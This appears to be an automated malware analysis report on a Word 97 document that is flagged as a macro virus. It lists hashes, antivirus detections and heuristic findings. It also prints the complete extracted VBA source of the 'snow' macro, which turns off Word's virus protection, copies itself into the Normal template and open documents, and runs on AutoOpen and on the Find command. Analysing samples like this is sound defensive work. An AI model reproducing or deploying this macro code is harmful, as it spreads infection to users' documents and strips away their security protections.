Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f396913ae9ea71e…

MALICIOUS

Office (OLE)

36.5 KB Created: 1999-11-12 15:19:00 Authoring application: Microsoft Word 8.0 First seen: 2014-02-09
MD5: a1ee68897b46cc7ac7ae4619ad43b511 SHA-1: b8815eaa27765a5981e13e0e3c5237a1d77053e8 SHA-256: 4f396913ae9ea71e0b086999095ea34315d1351b8d4a5cac62d20dee79a72aea
228 Risk Score

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2044 bytes
SHA-256: 0a7121959fb6d3f693caa1beb83a5619440a12f5935218ffc7e23149315fba9e
Detection
ClamAV: Doc.Trojan.Vmpc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "snow"
    
Sub snow()
On Error Resume Next
GxThCgFz = SxSo10850 & NwKo13257
MoFqBzLk = FiAl11910 & EiQk7931
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
VBE.ActiveVBProject.VBComponents("snow").Export "c:\snow.drv"
AqPv14389 = JhUpFlUr & UnHi8578 & Int(Rnd * 8030)
ActiveDocument.ReadOnlyRecommended = False
IhFv3759 = JwTnNvDk & MrTf9932 & Int(Rnd * 3161)
FyNeUpEi = EiAt15153 & SlOu6107
If NormalTemplate.VBProject.VBComponents.Item("snow").Name <> "snow" Then UzKy541919704 = True
UvGm12280 = MeFyHsBu & LzNz13572 & TgHxBqTr & UtEk5266
If ActiveDocument.VBProject.VBComponents.Item("snow").Name <> "snow" Then UvQz19701 = True
PyLn8459 = RhIeTlQp & KmRe4477 & Int(Rnd * 6174)
If UzKy541919704 = True And UvQz19701 = False Then Set RzMr197054198 = NormalTemplate.VBProject.VBComponents
If UzKy541919704 = False And UvQz19701 = True Then Set RzMr197054198 = ActiveDocument.VBProject.VBComponents
RzMr197054198.import "c:\snow.drv"
SxNkLfHo = IqLf7397 & OoRi14644
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If UvQz19701 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
AuQsSsDw = LrCq12980 & JkMx10885
PxNk8538 = OpJxDiVg & QjIq13642 & IqSrHeAl & LfAr1910
VsBuMwHm:
End Sub
Sub EditFind()
    On Error Resume Next
Dialogs(wdDialogEditFind).Show
    Call snow
DvTw16439 = MfUjTtDr & DgJh7823 & Int(Rnd * 9936)
VgDu7310 = OuAvNvCr & UfEl18937 & RqLsEtRs & BpFe9953
End Sub
Sub AutoOpen()
    On Error Resume Next
BySi13275 = BiUhTqCj & HgJf5516 & Int(Rnd * 9426)
PvTe16905 = CoClCnGi & VoHw3689 & Int(Rnd * 555)
    Call snow
FoLx15059 = MkIyCwBr & QyHl9293 & LzDkGwKl & NjBh8893
End Sub

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